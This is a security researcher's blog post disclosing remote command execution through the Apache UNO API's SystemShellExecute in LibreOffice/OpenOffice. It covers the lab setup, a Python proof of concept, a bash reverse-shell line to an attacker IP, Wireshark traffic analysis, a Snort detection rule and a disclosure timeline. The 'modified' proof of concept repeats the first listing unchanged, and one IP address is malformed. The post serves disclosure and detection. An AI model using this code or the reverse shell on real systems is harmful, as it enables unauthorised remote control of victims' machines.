HackDefense Home
Axel Boesenach

Finding RCE capabilities in the Apache UNO API

During my internship at HackDefense I researched lateral movement techniques using the Distributed Component Object Model (DCOM), the built-in system to call software over the network from one Windows system to another. During my research I was looking at the Apache LibreOffice project to see if they had any DCOM functionalities implemented. What I found was not a DCOM functionality but an API with functionalities to remotely execute code.

The responsible disclosure period of 90 days is way past due at the time of writing this post. I reached out to Apache multiple times since reporting this on 18-Sep-2018 but they haven’t been very responsive, and ultimately didn’t accept that this is, in fact, a security bug, because OpenOffice is not normally run in the mode required to exploit this bug.

That being said, they did indicate a fix may be included with the upcoming 4.1.7 release of OpenOffice. After thinking about this for a while we decided that 5 months was more than enough, and, after asking Apache whether they were OK with us publishing details, and again receiving no response, to release our blog post and advisory. After lengthy discussions following publication both LibreOffice and OpenOffice​.org refused to fix this issue, so after a year we have now included the PoC code in this post.

** Note: we use LibreOffice and OpenOffice interchangeably in this post — both are vulnerable. It turns out the affected API is maintained by Apache OpenOffice, so we have reported to their security team. Fixes would get to be included in LibreOffice as well. We’ll update this post if/​when fixes become available.

Background

Whilst researching lateral movement techniques using DCOM I decided to try and find a new technique, possibly with the COM objects of a LibreOffice installation. As I looked into this I came to the conclusion that LibreOffice did not have a way to use DCOM (not going into the possibility of using the Impacket Python library in this document) in the same manner as for example Microsoft Office but has some capability of accessing remote LibreOffice instances using the Apache UNO API.

Apache UNO API and Python

The Apache UNO API supports the Python programming language to make API calls, and allows to do so as a bridge that is capable of running in either of the following three modes:

  1. Inside the OpenOffice/​LibreOffice process within the scripting framework;
  2. Inside the Python executable (and outside the OpenOffice​.org process);
  3. Inside the OpenOffice​.org process.

Out of these above three modes, number two looks the most promising, this mode offers script execution by starting a seperate process as described on the PyUNO webpage:

Use this mode, when you:

  • begin to use PyUNO (as it is the more intuitive approach).
  • want to trigger script execution by starting a separate process (e.g. a cgi-script within a http-server).
  • want the shortest turnaround times (code — execute — code — execute …)

Research: soffice sockets

So now I had to look into the modules that exist for the OpenOffice/​LibreOffice applications to see if any of these modules would allow me to abuse the UNO technology. I started out by looking into setting up a listener with the LibreOffice application since I noticed this functionality while reading the basic examples:

The DocumentLoader example needs a running office server, before running this program you should invoke the office with the following command: soffice "--accept=socket,host=localhost,port=2083;urp;StarOffice.ServiceManager"

Executing the above command indeed resulted in a socket listening on port 2083:

Soffice socket test image1

So now I was curious, would it be possible to open a socket to external connections? Only one way to find out:

Soffice socket test external image2

This is starting to look very promising, the first couple tests gave me enough motivation to delve into the documentation of the OpenOffice/​LibreOffice API’s.

com.sun.star

I love reading and I love code, hence I love reading code. This changed quickly while I was diving into the API modules supported by OpenOffice/​LibreOffice. Sure, there are examples given and at least the full code is available to me and I had no direct time pressure but this proved to be a little bit more of a headache than I had anticipated (this could also be me lacking skills).

All of the API modules can be found here, and boy, there’s a lot more I will need to check whenever I get the time because I’m convinced there’s more to be found that can be abused. But let’s get back into the API modules for this research.

I’m still a rookie when it comes to auditing systems and code but if there is one single word that jumps right at me whenever I read something it’s got to be the word system”, I opened this folder (image 4) and noticed the SystemShellExecute.idl module right away. Jackpot!

Uno api modules

Notice how all of the modules in this folder are 5 years old?

The code in this module looked strange to me, it’s a single class that is used to create an instance of the XSystemShellExecute module that is also found in the same directory. Why it’s instantiated like that is unknown to me at the time of writing, but I bet it has a good reason. The XSystemShellExecute.idl is the actual module that is capable of executing commands as described in the code itself:

published interface XSystemShellExecute { /** Executes an abitrary system command.

XSystemShellExecute takes the following parameters:

  • The command;
  • The parameters of the command;
  • The number of flags.

The image below is a snippet of the code inside of this module:

Systemshellexecute code snippet

Now I have the right module, the method used, and the parameters that need to be given to this method to let it execute a command.

Testing Environment

With the information that I have from my research I set out to set up a testing environment, using the UNO technology this should work on both Linux and Windows distributions that are capable of running OpenOffice/​LibreOffice and thus I created three machines; two Ubuntu Mate 18.04 machines and one Microsoft Windows 10 Pro (1803) x64 machine.

The attacking machine consists of one of the Ubuntu Mate 18.04 machines and is installed with the following applications:

  • Python 3.6.5
  • Wireshark 2.4.5
  • SublimeText3

Other than that I installed the PyUNO package with the following command:

sudo apt-get install python3-uno

The target Linux machine is the other Ubuntu Mate 18.04 and is a full clone of the attacking machine but with LibreOffice 6.0.3.2 installed. The other machine is the Microsoft Windows 10 Pro (1803) x64 machine and is installed with the following applications:

  • LibreOffice 6.1.1.2
  • Wireshark 2.6.3

The machines were configured with host-only adapters in my VMWare Workstation installation on my host system, this would allow me to create a separate environment to test my findings. The following IP-addressing scheme was used:

Machine:

Attacker (Ubuntu Mate 18.04)

IP-address:

10.10.10.101

Machine:

Target (Ubuntu Mate 18.04)

IP-address:

10.10.10.102

Machine:

Target (Windows 10 Pro (1803) x64)

IP-address:

10.10.10.100

Developing the RCE

With everything set-up I started out checking code examples as to how I would call the API modules that are available to OpenOffice/​LibreOffice.

One of the prerequisites to call any kind of module that is part of the API is to import the PyUNO library. With the PyUNO library imported, other modules can be imported in the same manner as one would do when importing Python libraries as long as the user specifies the right module.

The hello_world.py program that is shown on the PyUNO webpage of the OpenOffice wiki shows that to connect with a socket theUnoURLResolver module needs to be used for the Python script to make a connection to the socket that soffice (StarOffice) is listening on:

localContext = uno.getComponentContext() resolver = localContext.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", localContext) ctx = resolver.resolve("uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext") smgr = ctx.ServiceManager

The above code snippet is the very basis of how the UNO technology is able to connect to listening sockets created by other OpenOffice/​LibreOffice instances on a network. Everything after this initialization is up to the user to fill in.

The ServiceManager is the actual instance on the remote machine that will execute anything based on the module that is fired at it, from there on out the createInstance function can be used to instantiate modules that need to be run by the Service Manager of OpenOffice/​LibreOffice.

Proof of Concept

Out of the research and studying the examples given on the pages on the OpenOffice API wiki I created the following proof-of-concept:

import uno from com.sun.star.system import XSystemShellExecute import argparseparser = argparse.ArgumentParser() parser.add_argument('--host', help='host to connect to', dest='host', required=True) parser.add_argument('--port', help='port to connect to', dest='port', required=True) args = parser.parse_args() # Define the UNO component localContext = uno.getComponentContext() # Define the resolver to use, this is used to connect with the API resolver = localContext.ServiceManager.createInstanceWithContext( "com.sun.star.bridge.UnoUrlResolver", localContext ) # Connect with the provided host on the provided target port print("[+] Connecting to target...") context = resolver.resolve( "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port)) # Issue the service manager to spawn the SystemShellExecute module and execute calc.exe service_manager = context.ServiceManager print("[+] Connected to {0}".format(args.host)) shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute") shell_execute.execute("calc.exe", '',1)

Testing the RCE

To test the proof-of-concept it is necessary to start a listener on the target machine, this chapter shows how the listener was started on the target systems with a short description of what is shown on the images.

Ubuntu Mate 18.04 target

On the Ubuntu Mate 18.04 target a terminal was opened and the following command was executed to start the listener:

soffice --accept='socket,host=0.0.0.0,port=2002;urp;StarOffice.Service'

Executing the RCE

On the attacking machine the script was executed with the following command:

python3 libreoffice_rce.py --host 10.10.30.102 --port 2002

Which resulted in the following output on the target machine:

Libreoffice rce whoami

The result of the whoami command

As expected the target machine displays the current user that executed the listener command. Just for good measure the listener was started as the root user to display that it actually shows the username of the user that started the listener:

Libreoffice rce whoami root

The result of executing the whoami command with the listener started as root

Windows 10 Pro (1803) x64 target

On the Windows 10 Pro (1803) x64 target the soffice command can only be executed when the command prompt is in the folder LibreOffice\program

(full path: C:\Program Files\LibreOffice\program). The following command was executed to start the listener:

.\soffice --accept='socket,host=0.0.0.0,port=2002;urp;StarOffice.Service'

It has to be noted that Windows will give a Firewall warning, however this proof-of-concept is more to show that if this port is already open, it can be abused.

Executing the RCE

On the attacking machine the script was executed with the following command:

python3 libreoffice_rce.py --host 10.10.30.100 --port 2002

For this proof of concept calc.exe is executed to show the remote code execution for the Microsoft Windows platform:

Libreoffice rce calc

The calc.exe process started by the XSystemShellExecute module

Getting a reverse shell

I wanted to see what the traffic would look when trying to get a reverse shell connection back so I modified the proof-of-concept to retrieve a file from a URL with the wget command, waiting for two seconds and executing this file with the following reverse shell command using bash:

bash -i >& /dev/tcp/10.10.10.30.101/31337 0>&1

The proof-of-concept now looks something like this:

import uno from com.sun.star.system import XSystemShellExecute import argparseparser = argparse.ArgumentParser() parser.add_argument('--host', help='host to connect to', dest='host', required=True) parser.add_argument('--port', help='port to connect to', dest='port', required=True)args = parser.parse_args() # Define the UNO component localContext = uno.getComponentContext() # Define the resolver to use, this is used to connect with the API resolver = localContext.ServiceManager.createInstanceWithContext( "com.sun.star.bridge.UnoUrlResolver", localContext ) # Connect with the provided host on the provided target port print("[+] Connecting to target...") context = resolver.resolve( "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port)) # Issue the service manager to spawn the SystemShellExecute module and execute calc.exe service_manager = context.ServiceManager print("[+] Connected to {0}".format(args.host)) shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute") shell_execute.execute("calc.exe", '',1)

Before executing this script I made sure to start Wireshark on the target machine to simulate a monitoring environment and to see what kind of Snort rules could be written to detect this kind of traffic.

The script executes successfully and the attacker’s machine receives a reverse shell:

Libreoffice rce revshell

The reverse shell was successful, showing the IP-address of the target machine using ifconfig

When analyzing the traffic that was captured while firing the RCE and receiving a reverse shell the commands executed by the XSystemShellExecute module are shown in plain-text:

Libreoffice rce testsh traffic

The traffic clearly shows the executed commands

The traffic that is generated by the netcat connection functioning as a reverse shell is transmitted in plain-text afterwards:

Libreoffice rce revshell traffic analysis

The plain-text commands and their results as displayed in Wireshark

Traffic like this is very obvious and will probably trigger existing rules after the XSystemShellExecute module is called. The goal is to intercept the module call as soon as it is being executed by a client on the network because the above scenario is not likely to happen when the attackers are well versed in obfuscating their traffic inside of a more legitimate protocol like HTTPS, DNS, etc.

Detection

Abusing functionalities that are normally used for legitimate purposes is always fun, but it is important to also think about ways to mitigate and/​or detect this kind of behavior. Since this execution of commands is issued over the network and ends up starting a new process on the target there are ways to detect this kind of behavior.

Network Detection

The go-to tool for network capturing and analysis is Wireshark . I will not go into detail as to how to use Wireshark or how Wireshark works under the hood, if you are familiar with this tool; Good. If not, go read Wireshark for Security Professionals, it’s a good book.

Network Capturing

To see what this network traffic looks like and because I would like to write a Snort rule for this kind of traffic, I started Wireshark on the Ubuntu Mate 18.04 attacker and target machine. Since the RCE results happen to be executed locally I will need to merge the two PCAP files to get the complete overview of how this traffic would look like without the traffic being single sided.

Merging PCAPs can be done by opening one of the PCAPs, going to File -> Merge… and open the other PCAP.

Network Analysis

The first thing that jumps out of this traffic is that it uses the SMPP (Short Message Peer-to-Peer) protocol, this is not a very widely used protocol and may already indicate that this is traffic to look into:

Libreoffice rce network analysis 1

Traffic snippet from the merged PCAP files, showing the SMPP connection

The contents of the traffic also hint that there might be commands being executed by the system shell since it shows the used API module in the raw packet data:

Libreoffice rce network analysis 2

Traffic snippet showing the API module and the id command being executed

Detection with Snort

To detect the network traffic described above a simple Snort rule can be written that will trigger as soon as the XSystemShellExecute module is being called remotely:

alert tcp any any -> any any (msg: "Apache API XSystemShellExecute Detected"; content:"com.sun.star.system.XSystemShellExecute"; flow:to_server; sid:31337; rev:1)

Please note that the above rule is an oversimplified rule, this is just an example of how to easily detect this kind of traffic.

I will not go into detail as to how Snort rules are written because there is plenty of material out there that describes how to interpret and write these rules.

Disclosure Timeline

Below follows the timeline for disclosing the RCE to Apache:

  • 11-Oct-2019: disclosed PoC — final refusal by vendor to fix
  • 18-Sep-2018: RCE disclosed to Apache Security Team
  • 06-Dec-2018: E‑mailed Apache to ask about the status of investigation
  • 11-Dec-2018: Apache said they are aiming for a new release in January, asking us to postpone the disclosure of the RCE until 31-Jan-2019
  • 18-Dec-2018: New OpenOffice release (4.1.6) without a fix for this issue or any communications from Apache
  • 25-Jan-2019: E‑mailed Apache to ask about the status of investigation
  • 05-Feb-2019: Received e‑mail from Apache that they don’t consider this to be a security issue because the configuration is so uncommon, but are willing to work together to fix this in OpenOffice 4.1.7
  • 07-Feb-2019: E‑mailed Apache to confirm that we’re willing to work with them on this issue
  • 22-Feb-2019: E‑mailed Apache to let them know we’re planning to release
  • 27-Feb-2019: Release of this post and advisory